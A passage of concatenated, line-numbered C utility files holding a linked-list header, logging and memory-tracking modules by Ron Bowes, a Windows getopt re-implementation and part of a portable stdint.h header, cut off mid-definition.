20 LL_PTR,
21 } ll_index_type_t;
22
23 typedef struct
24 {
25 ll_index_type_t type;
26 union
27 {
28 uint16_t u8;
29 uint16_t u16;
30 uint32_t u32;
31 uint64_t u64;
32 void *ptr;
33 } value;
34 } ll_index_t;
35
36 typedef struct
37 {
38 ll_index_t index;
39 void *data;
40 struct ll_element_t *next;
41 } ll_element_t;
42
43 typedef struct
44 {
45 ll_element_t *first;
46 cmpfunc_t *cmpfunc;
47 } ll_t;
48
49 ll_t *ll_create(cmpfunc_t *cmpfunc);
50 void *ll_add(ll_t *ll, ll_index_t index, void *data);
51 void *ll_remove(ll_t *ll, ll_index_t index);
52 void *ll_remove_first(ll_t *ll);
53 void *ll_find(ll_t *ll, ll_index_t index);
54 void ll_destroy(ll_t *ll);
55
56 ll_index_t ll_8(uint8_t value);
57 ll_index_t ll_16(uint16_t value);
58 ll_index_t ll_32(uint32_t value);
59 ll_index_t ll_64(uint64_t value);
60 ll_index_t ll_ptr(void *value);
61
62 #endif
0 /* log.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <stdio.h>
7 #include <stdlib.h>
8 #include <stdarg.h>
9
10 #include "assert.h"
11 #include "memory.h"
12
13 #include "log.h"
14
15 static log_level_t log_console_min = LOG_LEVEL_WARNING;
16 static log_level_t log_file_min = LOG_LEVEL_INFO;
17 static FILE *log_file = NULL;
18
19 static char *log_levels[] = { "INFO", "WARNING", "ERROR", "FATAL" };
20
21 void log_to_file(char *filename, log_level_t min_level)
22 {
23 assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL);
24
25 #ifdef WIN32
26 fopen_s(&log_file, filename, "w");
27 #else
28 log_file = fopen(filename, "w");
29 #endif
30 if(log_file)
31 log_file_min = min_level;
32 else
33 LOG_WARNING("Couldn't open logfile: %s", filename);
34 }
35
36 void log_set_min_console_level(log_level_t min_level)
37 {
38 assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL);
39
40 log_console_min = min_level;
41 }
42
43 log_level_t log_get_min_console_level()
44 {
45 return log_console_min;
46 }
47
48 /* Most of this code is from the manpage for vsprintf() */
49 static void log_internal(log_level_t level, char *format, va_list args)
50 {
51 assert(level >= LOG_LEVEL_INFO || level <= LOG_LEVEL_FATAL);
52
53 if(level >= log_console_min)
54 {
55 fprintf(stderr, "[[ %s ]] :: ", log_levels[level]);
56 vfprintf(stderr, format, args);
57 fprintf(stderr, "\n");
58 }
59
60 if(log_file && level >= log_file_min)
61 {
62 vfprintf(log_file, format, args);
63 }
64 }
65
66 void log_info(char *format, ...)
67 {
68 va_list args;
69
70 va_start(args, format);
71 log_internal(LOG_LEVEL_INFO, format, args);
72 va_end(args);
73 }
74
75 void log_warning(char *format, ...)
76 {
77 va_list args;
78
79 va_start(args, format);
80 log_internal(LOG_LEVEL_WARNING, format, args);
81 va_end(args);
82 }
83
84 void log_error(char *format, ...)
85 {
86 va_list args;
87
88 va_start(args, format);
89 log_internal(LOG_LEVEL_ERROR, format, args);
90 va_end(args);
91 }
92
93 void log_fatal(char *format, ...)
94 {
95 va_list args;
96
97 va_start(args, format);
98 log_internal(LOG_LEVEL_FATAL, format, args);
99 va_end(args);
100 }
0 /* log.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This is a pretty boring module that is used for logging data to the
6 * console.
7 */
8
9 #ifndef __LOG_H__
10 #define __LOG_H__
11
12 typedef enum
13 {
14 LOG_LEVEL_INFO = 0,
15 LOG_LEVEL_WARNING = 1,
16 LOG_LEVEL_ERROR = 2,
17 LOG_LEVEL_FATAL = 3
18 } log_level_t;
19
20 #define LOG_INFO log_info
21 #define LOG_WARNING log_warning
22 #define LOG_ERROR log_error
23 #define LOG_FATAL log_fatal
24
25 void log_init();
26
27 void log_to_file(char *filename, log_level_t min_level);
28 void log_set_min_console_level(log_level_t level);
29 log_level_t log_get_min_console_level();
30
31 void log_info(char *format, ...);
32 void log_warning(char *format, ...);
33 void log_error(char *format, ...);
34 void log_fatal(char *format, ...);
35
36 #endif
0 /* memory.c
1 * By Ron
2 * Created January, 2010
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <ctype.h>
8 #include <stdio.h>
9 #include <stdlib.h>
10 #include <string.h>
11
12 #include "memory.h"
13
14 typedef struct entry
15 {
16 char *file;
17 int line;
18 void *memory;
19 size_t size;
20 struct entry *next;
21 } entry_t;
22
23 #ifdef TESTMEMORY
24 static entry_t *first = NULL;
25 #endif
26
27 static void die(char *msg, char *file, int line)
28 {
29 printf("\n\nUnrecoverable error at %s:%d: %s\n\n", file, line, msg);
30 abort();
31 exit(1);
32 }
33
34 static void die_mem(char *file, int line)
35 {
36 die("Out of memory", file, line);
37 }
38
39 void add_entry(char *file, int line, void *memory, size_t size)
40 {
41 #ifdef TESTMEMORY
42 entry_t *current = (entry_t*) malloc(sizeof(entry_t));
43 if(!current)
44 die_mem(file, line);
45
46 /* Put the new entry at the front of the list. */
47 current->next = first;
48 first = current;
49
50 current->file = file;
51 current->line = line;
52 current->memory = memory;
53 current->size = size;
54 #endif
55 }
56
57 void update_entry(void *old_memory, void *new_memory, int new_size, char *file, int line)
58 {
59 #ifdef TESTMEMORY
60 entry_t *current = first;
61
62 while(current)
63 {
64 if(current->memory == old_memory)
65 {
66 current->memory = new_memory;
67 current->size = new_size;
68 return;
69 }
70 current = current->next;
71 }
72
73 die("Tried to re-allocate memory that doesn't exist.", file, line);
74 #endif
75 }
76
77 void remove_entry(void *memory, char *file, int line)
78 {
79 #ifdef TESTMEMORY
80 entry_t *last = NULL;
81 entry_t *current = first;
82
83 while(current)
84 {
85 if(current->memory == memory)
86 {
87 if(current == first)
88 {
89 /* Beginning of the list. */
90 first = first->next;
91 free(current);
92 }
93 else
94 {
95 /* Anywhere else in the list. */
96 last->next = current->next;
97 free(current);
98 }
99
100 return;
101 }
102 last = current;
103 current = current->next;
104 }
105
106 die("Tried to free memory that we didn't allocate (or that's already been freed)", file, line);
107 #endif
108 }
109
110 void print_memory()
111 {
112 #ifdef TESTMEMORY
113 if(first == NULL)
114 {
115 fprintf(stderr, "No allocated memory. Congratulations!\n");
116 }
117 else
118 {
119 entry_t *current = first;
120
121 fprintf(stderr, "Allocated memory:\n");
122 while(current)
123 {
124 fprintf(stderr, "%p: 0x%08x bytes allocated at %s:%d\n", current->memory, (unsigned int)current->size, current->file, current->line);
125 current = current->next;
126 }
127 }
128 #endif
129 }
130
131 void *safe_malloc_internal(size_t size, char *file, int line)
132 {
133 void *ret = malloc(size);
134 if(!ret)
135 die_mem(file, line);
136 memset(ret, 0, size);
137
138 add_entry(file, line, ret, size);
139 return ret;
140 }
141
142 void *safe_realloc_internal(void *ptr, size_t size, char *file, int line)
143 {
144 void *ret = realloc(ptr, size);
145 if(!ret)
146 die_mem(file, line);
147
148 update_entry(ptr, ret, size, file, line);
149 return ret;
150 }
151
152 char *safe_strdup_internal(const char *str, char *file, int line)
153 {
154 char *ret;
155
156 if(strlen(str) + 1 < strlen(str))
157 die("Overflow.", file, line);
158
159 ret = safe_malloc_internal(strlen(str) + 1, file, line);
160 memcpy(ret, str, strlen(str) + 1);
161
162 return ret;
163 }
164
165 void *safe_memcpy_internal(const void *data, size_t length, char *file, int line)
166 {
167 uint8_t *ret;
168
169 ret = safe_malloc_internal(length, file, line);
170 memcpy(ret, data, length);
171
172 return ret;
173 }
174
175 void safe_free_internal(void *ptr, char *file, int line)
176 {
177 remove_entry(ptr, file, line);
178 free(ptr);
179 }
0 /* memory.h
1 * By Ron
2 * Created January, 2010
3 *
4 * (See LICENSE.md)
5 *
6 * Implements functions for managing memory. Optionally (based on defining
7 * TEST_MEMORY) keeps track of all memory allocated and prints out a summary at
8 * the end. Great for finding memory leaks.
9 */
10
11 #ifndef __MEMORY_H__
12 #define __MEMORY_H__
13
14 #include <stdlib.h> /* For size_t */
15
16 #include "types.h"
17
18 /* Make calls to malloc/realloc that die cleanly if the calls fail. safe_malloc() initializes buffer to 0. */
19 #define safe_malloc(size) safe_malloc_internal(size, __FILE__, __LINE__)
20 void *safe_malloc_internal(size_t size, char *file, int line);
21
22 #define safe_realloc(ptr,size) safe_realloc_internal(ptr, size, __FILE__, __LINE__)
23 void *safe_realloc_internal(void *ptr, size_t size, char *file, int line);
24
25 #define safe_strdup(str) safe_strdup_internal(str, __FILE__, __LINE__)
26 char *safe_strdup_internal(const char *str, char *file, int line);
27
28 #define safe_memcpy(str,len) safe_memcpy_internal(str, len, __FILE__, __LINE__)
29 void *safe_memcpy_internal(const void *data, size_t length, char *file, int line);
30
31 /* Free memory and remove it from our list of allocated memory. */
32 #define safe_free(ptr) safe_free_internal(ptr, __FILE__, __LINE__)
33 void safe_free_internal(void *ptr, char *file, int line);
34
35 /* Create a UNICODE string based on an ASCII one. Be sure to free the memory! */
36 char *unicode_alloc(const char *string);
37 /* Same as unicode_alloc(), except convert the string to uppercase first. */
38 char *unicode_alloc_upper(const char *string);
39
40 /* Print the currently allocated memory. Useful for checking for memory leaks. */
41 void print_memory();
42
43 #endif
0 /*
1 * my_getopt.c - my re-implementation of getopt.
2 * Copyright 1997, 2000, 2001, 2002, 2006, Benjamin Sittler
3 *
4 * Permission is hereby granted, free of charge, to any person
5 * obtaining a copy of this software and associated documentation
6 * files (the "Software"), to deal in the Software without
7 * restriction, including without limitation the rights to use, copy,
8 * modify, merge, publish, distribute, sublicense, and/or sell copies
9 * of the Software, and to permit persons to whom the Software is
10 * furnished to do so, subject to the following conditions:
11 *
12 * The above copyright notice and this permission notice shall be
13 * included in all copies or substantial portions of the Software.
14 *
15 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
16 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
18 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
19 * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
20 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
22 * DEALINGS IN THE SOFTWARE.
23 */
24
25 #ifdef WIN32
26
27 #include <sys/types.h>
28 #include <stdlib.h>
29 #include <stdio.h>
30 #include <string.h>
31 #include "my_getopt.h"
32
33 int optind=1, opterr=1, optopt=0;
34 char *optarg=0;
35
36 /* reset argument parser to start-up values */
37 int getopt_reset(void)
38 {
39 optind = 1;
40 opterr = 1;
41 optopt = 0;
42 optarg = 0;
43 return 0;
44 }
45
46
47 /* this is the plain old UNIX getopt, with GNU-style extensions. */
48 /* if you're porting some piece of UNIX software, this is all you need. */
49 /* this supports GNU-style permution and optional arguments */
50
51 static int _getopt(int argc, char * argv[], const char *opts)
52 {
53 static int charind=0;
54 const char *s;
55 char mode, colon_mode;
56 int off = 0, opt = -1;
57
58 if(getenv("POSIXLY_CORRECT")) colon_mode = mode = '+';
59 else {
60 if((colon_mode = *opts) == ':') off ++;
61 if(((mode = opts[off]) == '+') || (mode == '-')) {
62 off++;
63 if((colon_mode != ':') && ((colon_mode = opts[off]) == ':'))
64 off ++;
65 }
66 }
67 optarg = 0;
68 if(charind) {
69 optopt = argv[optind][charind];
70 for(s=opts+off; *s; s++) if(optopt == *s) {
71 charind++;
72 if((*(++s) == ':') || ((optopt == 'W') && (*s == ';'))) {
73 if(argv[optind][charind]) {
74 optarg = &(argv[optind++][charind]);
75 charind = 0;
76 } else if(*(++s) != ':') {
77 charind = 0;
78 if(++optind >= argc) {
79 if(opterr) fprintf(stderr,
80 "%s: option requires an argument -- %c\n",
81 argv[0], optopt);
82 opt = (colon_mode == ':') ? ':' : '?';
83 goto my_getopt_ok;
84 }
85 optarg = argv[optind++];
86 }
87 }
88 opt = optopt;
89 goto my_getopt_ok;
90 }
91 if(opterr) fprintf(stderr,
92 "%s: illegal option -- %c\n",
93 argv[0], optopt);
94 opt = '?';
95 if(argv[optind][++charind] == '\0') {
96 optind++;
97 charind = 0;
98 }
99 my_getopt_ok:
100 if(charind && ! argv[optind][charind]) {
101 optind++;
102 charind = 0;
103 }
104 } else if((optind >= argc) ||
105 ((argv[optind][0] == '-') &&
106 (argv[optind][1] == '-') &&
107 (argv[optind][2] == '\0'))) {
108 optind++;
109 opt = -1;
110 } else if((argv[optind][0] != '-') ||
111 (argv[optind][1] == '\0')) {
112 char *tmp;
113 int i, j, k;
114
115 if(mode == '+') opt = -1;
116 else if(mode == '-') {
117 optarg = argv[optind++];
118 charind = 0;
119 opt = 1;
120 } else {
121 for(i=j=optind; i<argc; i++) if((argv[i][0] == '-') &&
122 (argv[i][1] != '\0')) {
123 optind=i;
124 opt=_getopt(argc, argv, opts);
125 while(i > j) {
126 tmp=argv[--i];
127 for(k=i; k+1<optind; k++) argv[k]=argv[k+1];
128 argv[--optind]=tmp;
129 }
130 break;
131 }
132 if(i == argc) opt = -1;
133 }
134 } else {
135 charind++;
136 opt = _getopt(argc, argv, opts);
137 }
138 if (optind > argc) optind = argc;
139 return opt;
140 }
141
142 /* this is the extended getopt_long{,_only}, with some GNU-like
143 * extensions. Implements _getopt_internal in case any programs
144 * expecting GNU libc getopt call it.
145 */
146
147 int _getopt_internal(int argc, char * argv[], const char *shortopts,
148 const struct option *longopts, int *longind,
149 int long_only)
150 {
151 char mode, colon_mode = *shortopts;
152 int shortoff = 0, opt = -1;
153
154 if(getenv("POSIXLY_CORRECT")) colon_mode = mode = '+';
155 else {
156 if((colon_mode = *shortopts) == ':') shortoff ++;
157 if(((mode = shortopts[shortoff]) == '+') || (mode == '-')) {
158 shortoff++;
159 if((colon_mode != ':') && ((colon_mode = shortopts[shortoff]) == ':'))
160 shortoff ++;
161 }
162 }
163 optarg = 0;
164 if((optind >= argc) ||
165 ((argv[optind][0] == '-') &&
166 (argv[optind][1] == '-') &&
167 (argv[optind][2] == '\0'))) {
168 optind++;
169 opt = -1;
170 } else if((argv[optind][0] != '-') ||
171 (argv[optind][1] == '\0')) {
172 char *tmp;
173 int i, j, k;
174
175 opt = -1;
176 if(mode == '+') return -1;
177 else if(mode == '-') {
178 optarg = argv[optind++];
179 return 1;
180 }
181 for(i=j=optind; i<argc; i++) if((argv[i][0] == '-') &&
182 (argv[i][1] != '\0')) {
183 optind=i;
184 opt=_getopt_internal(argc, argv, shortopts,
185 longopts, longind,
186 long_only);
187 while(i > j) {
188 tmp=argv[--i];
189 for(k=i; k+1<optind; k++)
190 argv[k]=argv[k+1];
191 argv[--optind]=tmp;
192 }
193 break;
194 }
195 } else if((!long_only) && (argv[optind][1] != '-'))
196 opt = _getopt(argc, argv, shortopts);
197 else {
198 int charind, offset;
199 int found = 0, ind, hits = 0;
200
201 if(((optopt = argv[optind][1]) != '-') && ! argv[optind][2]) {
202 int c;
203
204 ind = shortoff;
205 while((c = shortopts[ind++])) {
206 if(((shortopts[ind] == ':') ||
207 ((c == 'W') && (shortopts[ind] == ';'))) &&
208 (shortopts[++ind] == ':'))
209 ind ++;
210 if(optopt == c) return _getopt(argc, argv, shortopts);
211 }
212 }
213 offset = 2 - (argv[optind][1] != '-');
214 for(charind = offset;
215 (argv[optind][charind] != '\0') &&
216 (argv[optind][charind] != '=');
217 charind++);
218 for(ind = 0; longopts[ind].name && !hits; ind++)
219 if((strlen(longopts[ind].name) == (size_t) (charind - offset)) &&
220 (strncmp(longopts[ind].name,
221 argv[optind] + offset, charind - offset) == 0))
222 found = ind, hits++;
223 if(!hits) for(ind = 0; longopts[ind].name; ind++)
224 if(strncmp(longopts[ind].name,
225 argv[optind] + offset, charind - offset) == 0)
226 found = ind, hits++;
227 if(hits == 1) {
228 opt = 0;
229
230 if(argv[optind][charind] == '=') {
231 if(longopts[found].has_arg == 0) {
232 opt = '?';
233 if(opterr) fprintf(stderr,
234 "%s: option `--%s' doesn't allow an argument\n",
235 argv[0], longopts[found].name);
236 } else {
237 optarg = argv[optind] + ++charind;
238 charind = 0;
239 }
240 } else if(longopts[found].has_arg == 1) {
241 if(++optind >= argc) {
242 opt = (colon_mode == ':') ? ':' : '?';
243 if(opterr) fprintf(stderr,
244 "%s: option `--%s' requires an argument\n",
245 argv[0], longopts[found].name);
246 } else optarg = argv[optind];
247 }
248 if(!opt) {
249 if (longind) *longind = found;
250 if(!longopts[found].flag) opt = longopts[found].val;
251 else *(longopts[found].flag) = longopts[found].val;
252 }
253 optind++;
254 } else if(!hits) {
255 if(offset == 1) opt = _getopt(argc, argv, shortopts);
256 else {
257 opt = '?';
258 if(opterr) fprintf(stderr,
259 "%s: unrecognized option `%s'\n",
260 argv[0], argv[optind++]);
261 }
262 } else {
263 opt = '?';
264 if(opterr) fprintf(stderr,
265 "%s: option `%s' is ambiguous\n",
266 argv[0], argv[optind++]);
267 }
268 }
269 if (optind > argc) optind = argc;
270 return opt;
271 }
272
273 /* This function is kinda problematic because most getopt() nowadays
274 seem to use char * const argv[] (they DON'T permute the options list),
275 but this one does. So we remove it as long as HAVE_GETOPT is define, so
276 people can use the version from their platform instead */
277
278 #ifndef HAVE_GETOPT
279 int getopt(int argc, char * argv[], const char *opts)
280 {
281 return _getopt(argc, argv, opts);
282 }
283 #endif /* HAVE_GETOPT */
284
285 int getopt_long(int argc, char * argv[], const char *shortopts,
286 const struct option *longopts, int *longind)
287 {
288 return _getopt_internal(argc, argv, shortopts, longopts, longind, 0);
289 }
290
291 int getopt_long_only(int argc, char * argv[], const char *shortopts,
292 const struct option *longopts, int *longind)
293 {
294 return _getopt_internal(argc, argv, shortopts, longopts, longind, 1);
295 }
296
297 #endif
0 /*
1 * my_getopt.h - interface to my re-implementation of getopt.
2 * Copyright 1997, 2000, 2001, 2002, 2006, Benjamin Sittler
3 *
4 * Permission is hereby granted, free of charge, to any person
5 * obtaining a copy of this software and associated documentation
6 * files (the "Software"), to deal in the Software without
7 * restriction, including without limitation the rights to use, copy,
8 * modify, merge, publish, distribute, sublicense, and/or sell copies
9 * of the Software, and to permit persons to whom the Software is
10 * furnished to do so, subject to the following conditions:
11 *
12 * The above copyright notice and this permission notice shall be
13 * included in all copies or substantial portions of the Software.
14 *
15 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
16 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
18 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
19 * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
20 * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
22 * DEALINGS IN THE SOFTWARE.
23 */
24
25 #ifndef MY_GETOPT_H_INCLUDED
26 #define MY_GETOPT_H_INCLUDED
27
28 #ifndef WIN32
29 #include <getopt.h>
30 #else
31
32 extern int getopt(int argc, char * argv[], const char *opts);
33
34 /* reset argument parser to start-up values */
35 extern int getopt_reset(void);
36 extern int optind, opterr, optopt;
37 extern char *optarg;
38
39 struct option {
40 const char *name;
41 int has_arg;
42 int *flag;
43 int val;
44 };
45
46 /* human-readable values for has_arg */
47 #undef no_argument
48 #define no_argument 0
49 #undef required_argument
50 #define required_argument 1
51 #undef optional_argument
52 #define optional_argument 2
53
54 /* GNU-style long-argument parsers */
55 extern int getopt_long(int argc, char * argv[], const char *shortopts,
56 const struct option *longopts, int *longind);
57
58 extern int getopt_long_only(int argc, char * argv[], const char *shortopts,
59 const struct option *longopts, int *longind);
60
61 extern int _getopt_internal(int argc, char * argv[], const char *shortopts,
62 const struct option *longopts, int *longind,
63 int long_only);
64
65 #endif /* WIN32 */
66 #endif /* MY_GETOPT_H_INCLUDED */
0 /* A portable stdint.h
1 ****************************************************************************
2 * BSD License:
3 ****************************************************************************
4 *
5 * Copyright (c) 2005-2007 Paul Hsieh
6 * All rights reserved.
7 *
8 * Redistribution and use in source and binary forms, with or without
9 * modification, are permitted provided that the following conditions
10 * are met:
11 *
12 * 1. Redistributions of source code must retain the above copyright
13 * notice, this list of conditions and the following disclaimer.
14 * 2. Redistributions in binary form must reproduce the above copyright
15 * notice, this list of conditions and the following disclaimer in the
16 * documentation and/or other materials provided with the distribution.
17 * 3. The name of the author may not be used to endorse or promote products
18 * derived from this software without specific prior written permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
21 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
22 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
23 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
24 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
25 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
26 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
27 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
28 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
29 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 *
31 ****************************************************************************
32 *
33 * Version 0.1.11
34 *
35 * The ANSI C standard committee, for the C99 standard, specified the
36 * inclusion of a new standard include file called stdint.h. This is
37 * a very useful and long desired include file which contains several
38 * very precise definitions for integer scalar types that is
39 * critically important for making portable several classes of
40 * applications including cryptography, hashing, variable length
41 * integer libraries and so on. But for most developers its likely
42 * useful just for programming sanity.
43 *
44 * The problem is that most compiler vendors have decided not to
45 * implement the C99 standard, and the next C++ language standard
46 * (which has a lot more mindshare these days) will be a long time in
47 * coming and its unknown whether or not it will include stdint.h or
48 * how much adoption it will have. Either way, it will be a long time
49 * before all compilers come with a stdint.h and it also does nothing
50 * for the extremely large number of compilers available today which
51 * do not include this file, or anything comparable to it.
52 *
53 * So that's what this file is all about. Its an attempt to build a
54 * single universal include file that works on as many platforms as
55 * possible to deliver what stdint.h is supposed to. A few things
56 * that should be noted about this file:
57 *
58 * 1) It is not guaranteed to be portable and/or present an identical
59 * interface on all platforms. The extreme variability of the
60 * ANSI C standard makes this an impossibility right from the
61 * very get go. Its really only meant to be useful for the vast
62 * majority of platforms that possess the capability of
63 * implementing usefully and precisely defined, standard sized
64 * integer scalars. Systems which are not intrinsically 2s
65 * complement may produce invalid constants.
66 *
67 * 2) There is an unavoidable use of non-reserved symbols.
68 *
69 * 3) Other standard include files are invoked.
70 *
71 * 4) This file may come in conflict with future platforms that do
72 * include stdint.h. The hope is that one or the other can be
73 * used with no real difference.
74 *
75 * 5) In the current verison, if your platform can't represent
76 * int32_t, int16_t and int8_t, it just dumps out with a compiler
77 * error.
78 *
79 * 6) 64 bit integers may or may not be defined. Test for their
80 * presence with the test: #ifdef INT64_MAX or #ifdef UINT64_MAX.
81 * Note that this is different from the C99 specification which
82 * requires the existence of 64 bit support in the compiler. If
83 * this is not defined for your platform, yet it is capable of
84 * dealing with 64 bits then it is because this file has not yet
85 * been extended to cover all of your system's capabilities.
86 *
87 * 7) (u)intptr_t may or may not be defined. Test for its presence
88 * with the test: #ifdef PTRDIFF_MAX. If this is not defined
89 * for your platform, then it is because this file has not yet
90 * been extended to cover all of your system's capabilities, not
91 * because its optional.
92 *
93 * 8) The following might not been defined even if your platform is
94 * capable of defining it:
95 *
96 * WCHAR_MIN
97 * WCHAR_MAX
98 * (u)int64_t
99 * PTRDIFF_MIN
100 * PTRDIFF_MAX
101 * (u)intptr_t
102 *
103 * 9) The following have not been defined:
104 *
105 * WINT_MIN
106 * WINT_MAX
107 *
108 * 10) The criteria for defining (u)int_least(*)_t isn't clear,
109 * except for systems which don't have a type that precisely
110 * defined 8, 16, or 32 bit types (which this include file does
111 * not support anyways). Default definitions have been given.
112 *
113 * 11) The criteria for defining (u)int_fast(*)_t isn't something I
114 * would trust to any particular compiler vendor or the ANSI C
115 * committee. It is well known that "compatible systems" are
116 * commonly created that have very different performance
117 * characteristics from the systems they are compatible with,
118 * especially those whose vendors make both the compiler and the
119 * system. Default definitions have been given, but its strongly
120 * recommended that users never use these definitions for any
121 * reason (they do *NOT* deliver any serious guarantee of
122 * improved performance -- not in this file, nor any vendor's
123 * stdint.h).
124 *
125 * 12) The following macros:
126 *
127 * PRINTF_INTMAX_MODIFIER
128 * PRINTF_INT64_MODIFIER
129 * PRINTF_INT32_MODIFIER
130 * PRINTF_INT16_MODIFIER
131 * PRINTF_LEAST64_MODIFIER
132 * PRINTF_LEAST32_MODIFIER
133 * PRINTF_LEAST16_MODIFIER
134 * PRINTF_INTPTR_MODIFIER
135 *
136 * are strings which have been defined as the modifiers required
137 * for the "d", "u" and "x" printf formats to correctly output
138 * (u)intmax_t, (u)int64_t, (u)int32_t, (u)int16_t, (u)least64_t,
139 * (u)least32_t, (u)least16_t and (u)intptr_t types respectively.
140 * PRINTF_INTPTR_MODIFIER is not defined for some systems which
141 * provide their own stdint.h. PRINTF_INT64_MODIFIER is not
142 * defined if INT64_MAX is not defined. These are an extension
143 * beyond what C99 specifies must be in stdint.h.
144 *
145 * In addition, the following macros are defined:
146 *
147 * PRINTF_INTMAX_HEX_WIDTH
148 * PRINTF_INT64_HEX_WIDTH
149 * PRINTF_INT32_HEX_WIDTH
150 * PRINTF_INT16_HEX_WIDTH
151 * PRINTF_INT8_HEX_WIDTH
152 * PRINTF_INTMAX_DEC_WIDTH
153 * PRINTF_INT64_DEC_WIDTH
154 * PRINTF_INT32_DEC_WIDTH
155 * PRINTF_INT16_DEC_WIDTH
156 * PRINTF_INT8_DEC_WIDTH
157 *
158 * Which specifies the maximum number of characters required to
159 * print the number of that type in either hexadecimal or decimal.
160 * These are an extension beyond what C99 specifies must be in
161 * stdint.h.
162 *
163 * Compilers tested (all with 0 warnings at their highest respective
164 * settings): Borland Turbo C 2.0, WATCOM C/C++ 11.0 (16 bits and 32
165 * bits), Microsoft Visual C++ 6.0 (32 bit), Microsoft Visual Studio
166 * .net (VC7), Intel C++ 4.0, GNU gcc v3.3.3
167 *
168 * This file should be considered a work in progress. Suggestions for
169 * improvements, especially those which increase coverage are strongly
170 * encouraged.
171 *
172 * Acknowledgements
173 *
174 * The following people have made significant contributions to the
175 * development and testing of this file:
176 *
177 * Chris Howie
178 * John Steele Scott
179 * Dave Thorup
180 *
181 */
182
183 #include <stddef.h>
184 #include <limits.h>
185 #include <signal.h>
186
187 /*
188 * For gcc with _STDINT_H, fill in the PRINTF_INT*_MODIFIER macros, and
189 * do nothing else. On the Mac OS X version of gcc this is _STDINT_H_.
190 */
191
192 #if ((defined(__STDC__) && __STDC__ && __STDC_VERSION__ >= 199901L) || (defined (__WATCOMC__) && (defined (_STDINT_H_INCLUDED) || __WATCOMC__ >= 1250)) || (defined(__GNUC__) && (defined(_STDINT_H) || defined(_STDINT_H_)) )) && !defined (_PSTDINT_H_INCLUDED)
193 #include <stdint.h>
194 #define _PSTDINT_H_INCLUDED
195 # ifndef PRINTF_INT64_MODIFIER
196 # define PRINTF_INT64_MODIFIER "ll"
197 # endif
198 # ifndef PRINTF_INT32_MODIFIER
199 # define PRINTF_INT32_MODIFIER "l"
200 # endif
201 # ifndef PRINTF_INT16_MODIFIER
202 # define PRINTF_INT16_MODIFIER "h"
203 # endif
204 # ifndef PRINTF_INTMAX_MODIFIER
205 # define PRINTF_INTMAX_MODIFIER PRINTF_INT64_MODIFIER
206 # endif
207 # ifndef PRINTF_INT64_HEX_WIDTH
208 # define PRINTF_INT64_HEX_WIDTH "16"
209 # endif
210 # ifndef PRINTF_INT32_HEX_WIDTH
211 # define PRINTF_INT32_HEX_WIDTH "8"
212 # endif
213 # ifndef PRINTF_INT16_HEX_WIDTH
214 # define PRINTF_INT16_HEX_WIDTH "4"
215 # endif
216 # ifndef PRINTF_INT8_HEX_WIDTH
217 # define PRINTF_INT8_HEX_WIDTH "2"
218 # endif
219 # ifndef PRINTF_INT64_DEC_WIDTH
220 # define PRINTF_INT64_DEC_WIDTH "20"
221 # endif
222 # ifndef PRINTF_INT32_DEC_WIDTH
223 # define PRINTF_INT32_DEC_WIDTH "10"
224 # endif
225 # ifndef PRINTF_INT16_DEC_WIDTH
226 # define PRINTF_INT16_DEC_WIDTH "5"
227 # endif
228 # ifndef PRINTF_INT8_DEC_WIDTH
229 # define PRINTF_INT8_DEC_WIDTH "3"
230 # endif
231 # ifndef PRINTF_INTMAX_HEX_WIDTH
232 # define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT64_HEX_WIDTH
233 # endif
234 # ifndef PRINTF_INTMAX_DEC_WIDTH
235 # define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT64_DEC_WIDTH
236 # endif
237
238 /*
239 * Something really weird is going on with Open Watcom. Just pull some of
240 * these duplicated definitions from Open Watcom's stdint.h file for now.
241 */
242
243 # if defined (__WATCOMC__) && __WATCOMC__ >= 1250
244 # if !defined (INT64_C)
245 # define INT64_C(x) (x + (INT64_MAX - INT64_MAX))
246 # endif
247 # if !defined (UINT64_C)
248 # define UINT64_C(x) (x + (UINT64_MAX - UINT64_MAX))
249 # endif
250 # if !defined (INT32_C)
251 # define INT32_C(x) (x + (INT32_MAX - INT32_MAX))
252 # endif
253 # if !defined (UINT32_C)
